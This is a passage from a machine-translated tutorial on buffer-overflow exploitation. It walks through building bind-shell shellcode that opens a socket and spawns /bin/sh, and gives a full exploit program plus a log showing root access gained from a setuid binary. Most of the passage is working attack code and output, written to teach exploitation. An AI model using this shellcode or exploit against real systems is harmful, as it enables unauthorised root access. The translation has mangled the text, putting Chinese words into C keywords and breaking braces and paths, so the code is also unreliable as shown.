 如果尝试在守护程序中溢出缓冲区,您可以看到守护进程崩溃。
在许多情况下,您必须执行一个shell,打开一个套接字,并连接到
您的标准I / O。如果你不,你不能得到一个shell。即使你得到了
shell,服务器立即崩溃,所以你不能命令任何东西。在这里
case,你必须使复杂的shellcode连接到你的标准I / O。

6.1示例脆弱程序

-------------------------------------------------- --------------------------
#include <string.h>

int main(int argc,char ** argv)
{
	char缓冲区[1024];
	if(argc> 1)
		strcpy(buffer,argv [1]);
}}
-------------------------------------------------- --------------------------

 这是标准脆弱的程序。我会用这个插座打开
缓冲区溢出。因为我太懒了,做一个例子daemon程序。:)
但是,看到代码后,你不会失望。
 
6.2打开套接字代码
 如果你可以执行下面的代码,你可以打开一个套接字。

打开socketasm1.c
-------------------------------------------------- --------------------------
#include <unistd.h>
#include <sys / socket.h>
#include <netinet / in.h>

int soc,cli,soc_len;
struct sockaddr_in serv_addr;
struct sockaddr_in cli_addr;

int main()
{
	if(fork()== 0)
	{
		serv_addr.sin_family = AF_INET;
		serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
		serv_addr.sin_port = htons(30464);
		soc = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
		bind(soc,(struct sockaddr *)&serv_addr,sizeof(serv_addr));
		listen(soc,1);
		soc_len = sizeof(cli_addr);
		cli = accept(soc,(struct sockaddr *)&cli_addr,&soc_len);
		dup2(cli,0);
		dup2(cli,1);
		dup2(cli,2);
		execl(“/ bin / sh”,“sh”,0);
	}}
}}
-------------------------------------------------- --------------------------

 用汇编语言很难做。你可以做这个程序
简单。

打开socketasm2.c
-------------------------------------------------- --------------------------
#include <unistd.h>
#include <sys / socket.h>
#include <netinet / in.h>

int soc,cli;
struct sockaddr_in serv_addr;

int main()
{
	if(fork()== 0)
	{
		serv_addr.sin_family = 2;
		serv_addr.sin_addr.s_addr = 0;
		serv_addr.sin_port = 0x77;
		soc = socket(2,1,6);
		bind(soc,(struct sockaddr *)&serv_addr,0x10);
		listen(soc,1);
		cli = accept(soc,0,0);
		dup2(cli,0);
		dup2(cli,1);
		dup2(cli,2);
		execl(“/ bin / sh”,“sh”,0);
	}}
}}
-------------------------------------------------- --------------------------

编译和反汇编
-------------------------------------------------- --------------------------
[ohhara @ ohhara?] {1} $ gcc -o opensocketasm2 -static opensaloneasm2.c
[ohhara @ ohhara?] {2} $ gdb opensocketasm2
GNU gdb 4.17
版权所有1998自由软件基金会
GDB是免费软件,由GNU通用公共许可证覆盖,你是
欢迎在特定条件下更改和/或分发它的副本。
键入“显示复制”以查看条件。
GDB绝对没有保修。有关详细信息,请键入“显示保修”。
这个GDB被配置为“i386-redhat-linux”...
(gdb)反汇编fork
函数fork的汇编代码转储:
0x804ca90 <fork>:movl $ 0x2,%eax
0x804ca95 <fork + 5>:int $ 0x80
0x804ca97 <fork + 7>:cmpl $ 0xfffff001,%eax
0x804ca9c <fork + 12>:jae 0x804cdc0 <__ syscall_error>
0x804caa2 <fork + 18>:ret    
0x804caa3 <fork + 19>:nop    
0x804caa4 <fork + 20>:nop    
0x804caa5 <fork + 21>:nop    
0x804caa6 <fork + 22>:nop    
0x804caa7 <fork + 23>:nop    
0x804caa8 <fork + 24>:nop    
0x804caa9 <fork + 25>:nop    
0x804caaa <fork + 26>:nop    
0x804caab <fork + 27>:nop    
0x804caac <fork + 28>:nop    
0x804caad <fork + 29>:nop    
0x804caae <fork + 30>:nop    
0x804caaf <fork + 31>:nop    
汇编器转储结束。
(gdb)拆卸套接字
函数套接字的汇编代码转储:
0x804cda0 <socket>:movl%ebx,%edx
0x804cda2 <socket + 2>:movl $ 0x66,%eax
0x804cda7 <socket + 7>:movl $ 0x1,%ebx
0x804cdac <socket + 12>:leal 0x4(%esp,1),%ecx
0x804cdb0 <socket + 16>:int $ 0x80
0x804cdb2 <socket + 18>:movl%edx,%ebx
0x804cdb4 <socket + 20>:cmpl $ 0xffffff83,%eax
0x804cdb7 <socket + 23>:jae 0x804cdc0 <__ syscall_error>
0x804cdbd <socket + 29>:ret    
0x804cdbe <socket + 30>:nop    
0x804cdbf <socket + 31>:nop    
汇编器转储结束。
(gdb)反汇编绑定
函数绑定的汇编代码转储:
0x804cd60 <bind>:movl%ebx,%edx
0x804cd62 <bind + 2>:movl $ 0x66,%eax
0x804cd67 <bind + 7>:movl $ 0x2,%ebx
0x804cd6c <bind + 12>:leal 0x4(%esp,1),%ecx
0x804cd70 <bind + 16>:int $ 0x80
0x804cd72 <bind + 18>:movl%edx,%ebx
0x804cd74 <bind + 20>:cmpl $ 0xffffff83,%eax
0x804cd77 <bind + 23>:jae 0x804cdc0 <__ syscall_error>
0x804cd7d <bind + 29>:ret    
0x804cd7e <bind + 30>:nop    
0x804cd7f <bind + 31>:nop    
汇编器转储结束。
(gdb)反汇编侦听
函数侦听的汇编代码转储:
0x804cd80 <listen>:movl%ebx,%edx
0x804cd82 <listen + 2>:movl $ 0x66,%eax
0x804cd87 <listen + 7>:movl $ 0x4,%ebx
0x804cd8c <listen + 12>:leal 0x4(%esp,1)%ecx
0x804cd90 <listen + 16>:int $ 0x80
0x804cd92 <listen + 18>:movl%edx,%ebx
0x804cd94 <listen + 20>:cmpl $ 0xffffff83,%eax
0x804cd97 <listen + 23>:jae 0x804cdc0 <__ syscall_error>
0x804cd9d <listen + 29>:ret    
0x804cd9e <listen + 30>:nop    
0x804cd9f <listen + 31>:nop    
汇编器转储结束。
(gdb)反汇编接受
函数__accept的汇编代码转储:
0x804cd40 <__ accept>:movl%ebx,%edx
0x804cd42 <__ accept + 2>:movl $ 0x66,%eax
0x804cd47 <__ accept + 7>:movl $ 0x5,%ebx
0x804cd4c <__ accept + 12>:leal 0x4(%esp,1),%ecx
0x804cd50 <__ accept + 16>:int $ 0x80
0x804cd52 <__ accept + 18>:movl%edx,%ebx
0x804cd54 <__ accept + 20>:cmpl $ 0xffffff83,%eax
0x804cd57 <__ accept + 23>:jae 0x804cdc0 <__ syscall_error>
0x804cd5d <__ accept + 29>:ret    
0x804cd5e <__ accept + 30>:nop    
0x804cd5f <__ accept + 31>:nop    
汇编器转储结束。
(gdb)反汇编dup2  
函数dup2的汇编代码转储:
0x804cbe0 <dup2>:movl%ebx,%edx
0x804cbe2 <dup2 + 2>:movl 0x8(%esp,1),%ecx
0x804cbe6 <dup2 + 6>:movl 0x4(%esp,1),%ebx
0x804cbea <dup2 + 10>:movl $ 0x3f,%eax
0x804cbef <dup2 + 15>:int $ 0x80
0x804cbf1 <dup2 + 17>:movl%edx,%ebx
0x804cbf3 <dup2 + 19>:cmpl $ 0xfffff001,%eax
0x804cbf8 <dup2 + 24>:jae 0x804cdc0 <__ syscall_error>
0x804cbfe <dup2 + 30>:ret    
0x804cbff <dup2 + 31>:nop    
汇编器转储结束。
(gdb)
-------------------------------------------------- --------------------------

叉子(); 码
-------------------------------------------------- --------------------------
char code [] =
	“\ x31 \ xc0”/ * xorl%eax,%eax * /
	“\ xb0 \ x02”/ * movb $ 0x2,%al * /
	“\ xcd \ x80”; / * int $ 0x80 * /
-------------------------------------------------- --------------------------

插座(2,1,6); 码
-------------------------------------------------- --------------------------
	/ *%ecx是所有参数的指针。* /
char code [] =
	“\ x31 \ xc0”/ * xorl%eax,%eax * /
	“\ x31 \ xdb”/ * xorl%ebx,%ebx * /
	“\ x89 \ xf1”/ * movl%esi,%ecx * /
	“\ xb0 \ x02”/ * movb $ 0x2,%al * /
	“\ x89 \ x06”/ * movl%eax,(%esi)* /
	/ *第一个参数。* /
	/ *%esi在使用之前具有引用空闲内存空间* /
	/ *这条指令。* /
	“\ xb0 \ x01”/ * movb $ 0x1,%al * /
	“\ x89 \ x46 \ x04”/ * movl%eax,0x4(%esi)* /
	/ *第二个参数。* /
	“\ xb0 \ x06”/ * movb $ 0x6,%al * /
	“\ x89 \ x46 \ x08”/ * movl%eax,0x8(%esi)* /
	/ *第三个参数。* /
	“\ xb0 \ x66”/ * movb $ 0x66,%al * /
	“\ xb3 \ x01”/ * movb $ 0x1,%bl * /
	“\ xcd \ x80”; / * int $ 0x80 * /
-------------------------------------------------- --------------------------

bind(soc,(struct sockaddr *)&serv_addr,0x10); 码
-------------------------------------------------- --------------------------
	/ *%ecx是所有参数的指针。* /
char code [] =
	“\ x89 \ xf1”/ * movl%esi,%ecx * /
	“\ x89 \ x06”/ * movl%eax,(%esi)* /
	/ *%eax必须具有soc值才能使用此* /
	/ *指令。* /
	/ *第一个参数。* /
	“\ xb0 \ x02”/ * movb $ 0x2,%al * /
	“\ x66 \ x89 \ x46 \ x0c”/ * movw%ax,0xc(%esi)* /
	/ * serv_addr.sin_family = 2 * /
	/ * 2存储在0xc(%esi)。* /
	“\ xb0 \ x77”/ * movb $ 0x77,%al * /
	“\ x66 \ x89 \ x46 \ x0e”/ * movw%ax,0xe(%esi)* /
	/ *存储端口号在0xe(%esi)* /
	“\ x8d \ x46 \ x0c”/ * leal 0xc(%esi),%eax * /
	/ *%eax = serv_addr的地址* /
	“\ x89 \ x46 \ x04”/ * movl%eax,0x4(%esi)* /
	/ *第二个参数。* /
	“\ x31 \ xc0”/ * xorl%eax,%eax * /
	“\ x89 \ x46 \ x10”/ * movl%eax,0x10(%esi)* /
	/ * serv_addr.sin_addr.s_addr = 0 * /
	/ * 0存储在0x10(%esi)。* /
	“\ xb0 \ x10”/ * movb $ 0x10,%al * /
	“\ x89 \ x46 \ x08”/ * movl%eax,0x8(%esi)* /
	/ *第三个参数。* /
	“\ xb0 \ x66”/ * movb $ 0x66,%al * /
	“\ xb3 \ x02”/ * movb $ 0x2,%bl * /
	“\ xcd \ x80”; / * int $ 0x80 * /
-------------------------------------------------- --------------------------

listen(soc,1); 码
-------------------------------------------------- --------------------------
	/ *%ecx是所有参数的指针。* /
char code [] =
	“\ x89 \ xf1”/ * movl%esi,%ecx * /
	“\ x89 \ x06”/ * movl%eax,(%esi)* /
	/ *%eax必须具有soc值才能使用此* /
	/ *指令。* /
	/ *第一个参数。* /
	“\ xb0 \ x01”/ * movb $ 0x1,%al * /
	“\ x89 \ x46 \ x04”/ * movl%eax,0x4(%esi)* /
	/ *第二个参数。* /
	“\ xb0 \ x66”/ * movb $ 0x66,%al * /
	“\ xb3 \ x04”/ * movb $ 0x4,%bl * /
	“\ xcd \ x80”; / * int $ 0x80 * /
-------------------------------------------------- --------------------------

accept(soc,0,0); 码
-------------------------------------------------- --------------------------
	/ *%ecx是所有参数的指针。* /
char code [] =
	“\ x89 \ xf1”/ * movl%esi,%ecx * /
	“\ x89 \ xf1”/ * movl%eax,(%esi)* /
	/ *%eax必须具有soc值才能使用此* /
	/ *指令。* /
	/ *第一个参数。* /
	“\ x31 \ xc0”/ * xorl%eax,%eax * /
	“\ x89 \ x46 \ x04”/ * movl%eax,0x4(%esi)* /
	/ *第二个参数。* /
	“\ x89 \ x46 \ x08”/ * movl%eax,0x8(%esi)* /
	/ *第三个参数。* /
	“\ xb0 \ x66”/ * movb $ 0x66,%al * /
	“\ xb3 \ x05”/ * movb $ 0x5,%bl * /
	“\ xcd \ x80”; / * int $ 0x80 * /
-------------------------------------------------- --------------------------

dup2(cli,0); 码
-------------------------------------------------- --------------------------
	/ *第一个参数是%ebx,第二个参数* /
	/ *是%ecx * /
char code [] =
	/ *%eax必须有cli值才能使用此* /
	/ *指令。* /
	“\ x88 \ xc3”/ * movb%al,%bl * /
	“\ xb0 \ x3f”/ * movb $ 0x3f,%al * /
	“\ x31 \ xc9”/ * xorl%ecx,%ecx * /
	“\ xcd \ x80”; / * int $ 0x80 * /
-------------------------------------------------- --------------------------

6.3修改正常shellcode

 你需要一些工程来合并上述代码。

新shellcode
-------------------------------------------------- --------------------------
char Shellcode [] =
	“\ x31 \ xc0”/ * xorl%eax,%eax * /
	“\ xb0 \ x02”/ * movb $ 0x2,%al * /
	“\ xcd \ x80”/ * int $ 0x80 * /
	“\ x85 \ xc0”/ * testl%eax,%eax * /
	“\ x75 \ x43”/ * jne 0x43 * /
	/ * fork()!= 0 case * /
	/ *它会调用exit(0)* /
	/ *要做到这一点,它会跳两次,因为exit(0)是* /
	/ *位于到目前为止。* /
	“\ xeb \ x43”/ * jmp 0x43 * /
	/ * fork()== 0 case * /
	/ *它会调用-0xa5 * /
	/ *要做到这一点,它会跳两次,因为调用-0xa5 * /
	/ *位于到目前为止。* /
	“\ x5e”/ * popl%esi * /
	“\ x31 \ xc0”/ * xorl%eax,%eax * /
	“\ x31 \ xdb”/ * xorl%ebx,%ebx * /
	“\ x89 \ xf1”/ * movl%esi,%ecx * /
	“\ xb0 \ x02”/ * movb $ 0x2,%al * /
	“\ x89 \ x06”/ * movl%eax,(%esi)* /
	“\ xb0 \ x01”/ * movb $ 0x1,%al * /
	“\ x89 \ x46 \ x04”/ * movl%eax,0x4(%esi)* /
	“\ xb0 \ x06”/ * movb $ 0x6,%al * /
	“\ x89 \ x46 \ x08”/ * movl%eax,0x8(%esi)* /
	“\ xb0 \ x66”/ * movb $ 0x66,%al * /
	“\ xb3 \ x01”/ * movb $ 0x1,%bl * /
	“\ xcd \ x80”/ * int $ 0x80 * /
	“\ x89 \ x06”/ * movl%eax,(%esi)* /
	“\ xb0 \ x02”/ * movb $ 0x2,%al * /
	“\ x66 \ x89 \ x46 \ x0c”/ * movw%ax,0xc(%esi)* /
	“\ xb0 \ x77”/ * movb $ 0x77,%al * /
	“\ x66 \ x89 \ x46 \ x0e”/ * movw%ax,0xe(%esi)* /
	“\ x8d \ x46 \ x0c”/ * leal 0xc(%esi),%eax * /
	“\ x89 \ x46 \ x04”/ * movl%eax,0x4(%esi)* /
	“\ x31 \ xc0”/ * xorl%eax,%eax * /
	“\ x89 \ x46 \ x10”/ * movl%eax,0x10(%esi)* /
	“\ xb0 \ x10”/ * movb $ 0x10,%al * /
	“\ x89 \ x46 \ x08”/ * movl%eax,0x8(%esi)* /
	“\ xb0 \ x66”/ * movb $ 0x66,%al * /
	“\ xb3 \ x02”/ * movb $ 0x2,%bl * /
	“\ xcd \ x80”/ * int $ 0x80 * /
	“\ xeb \ x04”/ * jmp 0x4 * /
	“\ xeb \ x55”/ * jmp 0x55 * /
	“\ xeb \ x5b”/ * jmp 0x5b * /
	“\ xb0 \ x01”/ * movb $ 0x1,%al * /
	“\ x89 \ x46 \ x04”/ * movl%eax,0x4(%esi)* /
	“\ xb0 \ x66”/ * movb $ 0x66,%al * /
	“\ xb3 \ x04”/ * movb $ 0x4,%bl * /
	“\ xcd \ x80”/ * int $ 0x80 * /
	“\ x31 \ xc0”/ * xorl%eax,%eax * /
	“\ x89 \ x46 \ x04”/ * movl%eax,0x4(%esi)* /
	“\ x89 \ x46 \ x08”/ * movl%eax,0x8(%esi)* /
	“\ xb0 \ x66”/ * movb $ 0x66,%al * /
	“\ xb3 \ x05”/ * movb $ 0x5,%bl * /
	“\ xcd \ x80”/ * int $ 0x80 * /
	“\ x88 \ xc3”/ * movb%al,%bl * /
	“\ xb0 \ x3f”/ * movb $ 0x3f,%al * /
	“\ x31 \ xc9”/ * xorl%ecx,%ecx * /
	“\ xcd \ x80”/ * int $ 0x80 * /
	“\ xb0 \ x3f”/ * movb $ 0x3f,%al * /
	“\ xb1 \ x01”/ * movb $ 0x1,%cl * /
	“\ xcd \ x80”/ * int $ 0x80 * /
	“\ xb0 \ x3f”/ * movb $ 0x3f,%al * /
	“\ xb1 \ x02”/ * movb $ 0x2,%cl * /
	“\ xcd \ x80”/ * int $ 0x80 * /
	“\ xb8 \ x2f \ x62 \ x69 \ x6e”/ * movl $ 0x6e69622f,%eax * /
	/ *%eax =“/ bin”* /
	“\ x89 \ x06”/ * movl%eax,(%esi)* /
	“\ xb8 \ x2f \ x73 \ x68 \ x2f”/ * movl $ 0x2f68732f,%eax * /
	/ *%eax =“/ sh /”* /
	“\ x89 \ x46 \ x04”/ * movl%eax,0x4(%esi)* /
	“\ x31 \ xc0”/ * xorl%eax,%eax * /
	“\ x88 \ x46 \ x07”/ * movb%al,0x7(%esi)* /
	“\ x89 \ x76 \ x08”/ * movl%esi,0x8(%esi)* /
	“\ x89 \ x46 \ x0c”/ * movl%eax,0xc(%esi)* /
	“\ xb0 \ x0b”/ * movb $ 0xb,%al * /
	“\ x89 \ xf3”/ * movl%esi,%ebx * /
	“\ x8d \ x4e \ x08”/ * leal 0x8(%esi),%ecx * /
	“\ x8d \ x56 \ x0c”/ * leal 0xc(%esi),%edx * /
	“\ xcd \ x80”/ * int $ 0x80 * /
	“\ x31 \ xc0”/ * xorl%eax,%eax * /
	“\ xb0 \ x01”/ * movb $ 0x1,%al * /
	“\ x31 \ xdb”/ * xorl%ebx,%ebx * /
	“\ xcd \ x80”/ * int $ 0x80 * /
	“\ xe8 \ x5b \ xff \ xff \ xff”; / * call -0xa5 * /
-------------------------------------------------- --------------------------

6.4利用弱势群体4计划
 有了这个shellcode,你可以轻松地做一个exploit代码。你必须
使代码连接到套接字。

exploit4.c
-------------------------------------------------- --------------------------
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet / in.h>

#define ALIGN 0
#define OFFSET 0
#define RET_POSITION 1024
#define RANGE 20
#define NOP 0x90

char Shellcode [] =
	“\ x31 \ xc0”/ * xorl%eax,%eax * /
	“\ xb0 \ x02”/ * movb $ 0x2,%al * /
	“\ xcd \ x80”/ * int $ 0x80 * /
	“\ x85 \ xc0”/ * testl%eax,%eax * /
	“\ x75 \ x43”/ * jne 0x43 * /
	“\ xeb \ x43”/ * jmp 0x43 * /
	“\ x5e”/ * popl%esi * /
	“\ x31 \ xc0”/ * xorl%eax,%eax * /
	“\ x31 \ xdb”/ * xorl%ebx,%ebx * /
	“\ x89 \ xf1”/ * movl%esi,%ecx * /
	“\ xb0 \ x02”/ * movb $ 0x2,%al * /
	“\ x89 \ x06”/ * movl%eax,(%esi)* /
	“\ xb0 \ x01”/ * movb $ 0x1,%al * /
	“\ x89 \ x46 \ x04”/ * movl%eax,0x4(%esi)* /
	“\ xb0 \ x06”/ * movb $ 0x6,%al * /
	“\ x89 \ x46 \ x08”/ * movl%eax,0x8(%esi)* /
	“\ xb0 \ x66”/ * movb $ 0x66,%al * /
	“\ xb3 \ x01”/ * movb $ 0x1,%bl * /
	“\ xcd \ x80”/ * int $ 0x80 * /
	“\ x89 \ x06”/ * movl%eax,(%esi)* /
	“\ xb0 \ x02”/ * movb $ 0x2,%al * /
	“\ x66 \ x89 \ x46 \ x0c”/ * movw%ax,0xc(%esi)* /
	“\ xb0 \ x77”/ * movb $ 0x77,%al * /
	“\ x66 \ x89 \ x46 \ x0e”/ * movw%ax,0xe(%esi)* /
	“\ x8d \ x46 \ x0c”/ * leal 0xc(%esi),%eax * /
	“\ x89 \ x46 \ x04”/ * movl%eax,0x4(%esi)* /
	“\ x31 \ xc0”/ * xorl%eax,%eax * /
	“\ x89 \ x46 \ x10”/ * movl%eax,0x10(%esi)* /
	“\ xb0 \ x10”/ * movb $ 0x10,%al * /
	“\ x89 \ x46 \ x08”/ * movl%eax,0x8(%esi)* /
	“\ xb0 \ x66”/ * movb $ 0x66,%al * /
	“\ xb3 \ x02”/ * movb $ 0x2,%bl * /
	“\ xcd \ x80”/ * int $ 0x80 * /
	“\ xeb \ x04”/ * jmp 0x4 * /
	“\ xeb \ x55”/ * jmp 0x55 * /
	“\ xeb \ x5b”/ * jmp 0x5b * /
	“\ xb0 \ x01”/ * movb $ 0x1,%al * /
	“\ x89 \ x46 \ x04”/ * movl%eax,0x4(%esi)* /
	“\ xb0 \ x66”/ * movb $ 0x66,%al * /
	“\ xb3 \ x04”/ * movb $ 0x4,%bl * /
	“\ xcd \ x80”/ * int $ 0x80 * /
	“\ x31 \ xc0”/ * xorl%eax,%eax * /
	“\ x89 \ x46 \ x04”/ * movl%eax,0x4(%esi)* /
	“\ x89 \ x46 \ x08”/ * movl%eax,0x8(%esi)* /
	“\ xb0 \ x66”/ * movb $ 0x66,%al * /
	“\ xb3 \ x05”/ * movb $ 0x5,%bl * /
	“\ xcd \ x80”/ * int $ 0x80 * /
	“\ x88 \ xc3”/ * movb%al,%bl * /
	“\ xb0 \ x3f”/ * movb $ 0x3f,%al * /
	“\ x31 \ xc9”/ * xorl%ecx,%ecx * /
	“\ xcd \ x80”/ * int $ 0x80 * /
	“\ xb0 \ x3f”/ * movb $ 0x3f,%al * /
	“\ xb1 \ x01”/ * movb $ 0x1,%cl * /
	“\ xcd \ x80”/ * int $ 0x80 * /
	“\ xb0 \ x3f”/ * movb $ 0x3f,%al * /
	“\ xb1 \ x02”/ * movb $ 0x2,%cl * /
	“\ xcd \ x80”/ * int $ 0x80 * /
	“\ xb8 \ x2f \ x62 \ x69 \ x6e”/ * movl $ 0x6e69622f,%eax * /
	“\ x89 \ x06”/ * movl%eax,(%esi)* /
	“\ xb8 \ x2f \ x73 \ x68 \ x2f”/ * movl $ 0x2f68732f,%eax * /
	“\ x89 \ x46 \ x04”/ * movl%eax,0x4(%esi)* /
	“\ x31 \ xc0”/ * xorl%eax,%eax * /
	“\ x88 \ x46 \ x07”/ * movb%al,0x7(%esi)* /
	“\ x89 \ x76 \ x08”/ * movl%esi,0x8(%esi)* /
	“\ x89 \ x46 \ x0c”/ * movl%eax,0xc(%esi)* /
	“\ xb0 \ x0b”/ * movb $ 0xb,%al * /
	“\ x89 \ xf3”/ * movl%esi,%ebx * /
	“\ x8d \ x4e \ x08”/ * leal 0x8(%esi),%ecx * /
	“\ x8d \ x56 \ x0c”/ * leal 0xc(%esi),%edx * /
	“\ xcd \ x80”/ * int $ 0x80 * /
	“\ x31 \ xc0”/ * xorl%eax,%eax * /
	“\ xb0 \ x01”/ * movb $ 0x1,%al * /
	“\ x31 \ xdb”/ * xorl%ebx,%ebx * /
	“\ xcd \ x80”/ * int $ 0x80 * /
	“\ xe8 \ x5b \ xff \ xff \ xff”; / * call -0xa5 * /

unsigned long get_sp(void)
{
	__asm __(“movl%esp,%eax”);
}}

long getip(char * name)
{
	struct hostent * hp;
	长ip;
	if((ip = inet_addr(name))==  -  1)
	{
		if((hp = gethostbyname(name))== NULL)
		{
			fprintf(stderr,“无法解析主机。\ n”);
			exit(0);
		}}
		memcpy(&ip,(hp-> h_addr),4);
	}}
	return ip;
}}

int exec_sh(int sockfd)
{
	char snd [4096],rcv [4096];
	fd_set rset;
	而(1)
	{
		FD_ZERO(&rset);
		FD_SET(fileno(stdin),&rset);
		FD_SET(sockfd,&rset);
		select(255,&rset,NULL,NULL,NULL);
		if(FD_ISSET(fileno(stdin),&rset))
		{
			memset(snd,0,sizeof(snd));
			fgets(snd,sizeof(snd),stdin);
			write(sockfd,snd,strlen(snd));
		}}
		if(FD_ISSET(sockfd,&rset))
		{
			memset(rcv,0,sizeof(rcv));
			if(read(sockfd,rcv,sizeof(rcv))<= 0)
				exit(0);
			fputs(rcv,stdout);
		}}
	}}
}}

int connect_sh(long ip)
{
	int sockfd,i;
	struct sockaddr_in sin;
	printf(“连接到shell \ n”);
	fflush(stdout);
	memset(&sin,0,sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_port = htons(30464);
	sin.sin_addr.s_addr = ip;
	if((sockfd = socket(AF_INET,SOCK_STREAM,0))<0)
	{
		printf(“Can not create socket \ n”);
		exit(0);
	}}
	if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0)
	{
		printf(“无法连接到shell \ n”);
		exit(0);
	}}
	return sockfd;
}}

void main(int argc,char ** argv)
{
	char buff [RET_POSITION + RANGE + ALIGN + 1],* ptr;
	长加
	无符号长整型
	int offset = OFFSET,bsize = RET_POSITION + RANGE + ALIGN + 1;
	int i;
	int sockfd;

	if(argc> 1)
		offset = atoi(argv [1]);

	sp = get_sp();
	addr = sp-offset;

	for(i = 0; i <bsize; i + = 4)
	{
		buff [i + ALIGN] =(addr&0x000000ff);
		buff [i + ALIGN + 1] =(addr&0x0000ff00)>> 8;
		buff [i + ALIGN + 2] =(addr&0x00ff0000)>> 16;
		buff [i + ALIGN + 3] =(addr&0xff000000)>> 24;
	}}

	for(i = 0; i <bsize-RANGE * 2-strlen(shellcode)-1; i ++)
		buff [i] = NOP;

	ptr = buff + bsize-RANGE * 2-strlen(shellcode)-1;
	for(i = 0; i <strlen(shellcode); i ++)
		*(ptr ++)= shellcode [i];

	buff [bsize-1] =‘\ 0‘;

	printf(“Jump to 0x%08x \ n”,addr);

	if(fork()== 0)
	{
		execl(“./ vulnerable4”,“vulnerable4”,buff,0);
		exit(0);
	}}
	睡眠(5);
	sockfd = connect_sh(getip(“127.0.0.1”));
	exec_sh(sockfd);
}}
-------------------------------------------------- --------------------------

利用漏洞4程序
-------------------------------------------------- --------------------------
[ohhara @ ohhara?] {1} $ ls -l vulnerable4
-rwsr-xr-x 1 root root 4091 Oct 18 20:21 vulnerable4 *
[ohhara @ ohhara?] {2} $ ls -l exploit4
-rwxr-xr-x 1 ohhara cse 7973 Oct 18 20:25 exploit4 *
[ohhara @ ohhara?] {3} $ ./exploit4
跳转到0xbfffec64
连接到shell
无法连接到shell
[ohhara @ ohhara?] {4} $ ./exploit4 500
跳转到0xbfffea70
连接到shell
我是谁
根
-------------------------------------------------- --------------------------

6.5你可以用这种技术做什么?
 你可以使用这种技术来制作各种远程漏洞代码。如果
易受攻击的主机在防火墙后面,可以在未过滤的情况下打开一个套接字
港口。这是一个非常有用的技术,当你用缓冲区攻击rpc服务
溢出。

7.总结
 本文介绍了四种缓冲区溢出技术。他们通过
过滤,将uid更改回0,断开chroot,并打开套接字。这些
技术将是非常有用的,当你试图做一个缓冲区溢出利用
码。此外,这些技术可以组合。
 所有程序员在做setuid根程序或服务器时必须小心
程序!!!请小心!

缓冲区溢出漏洞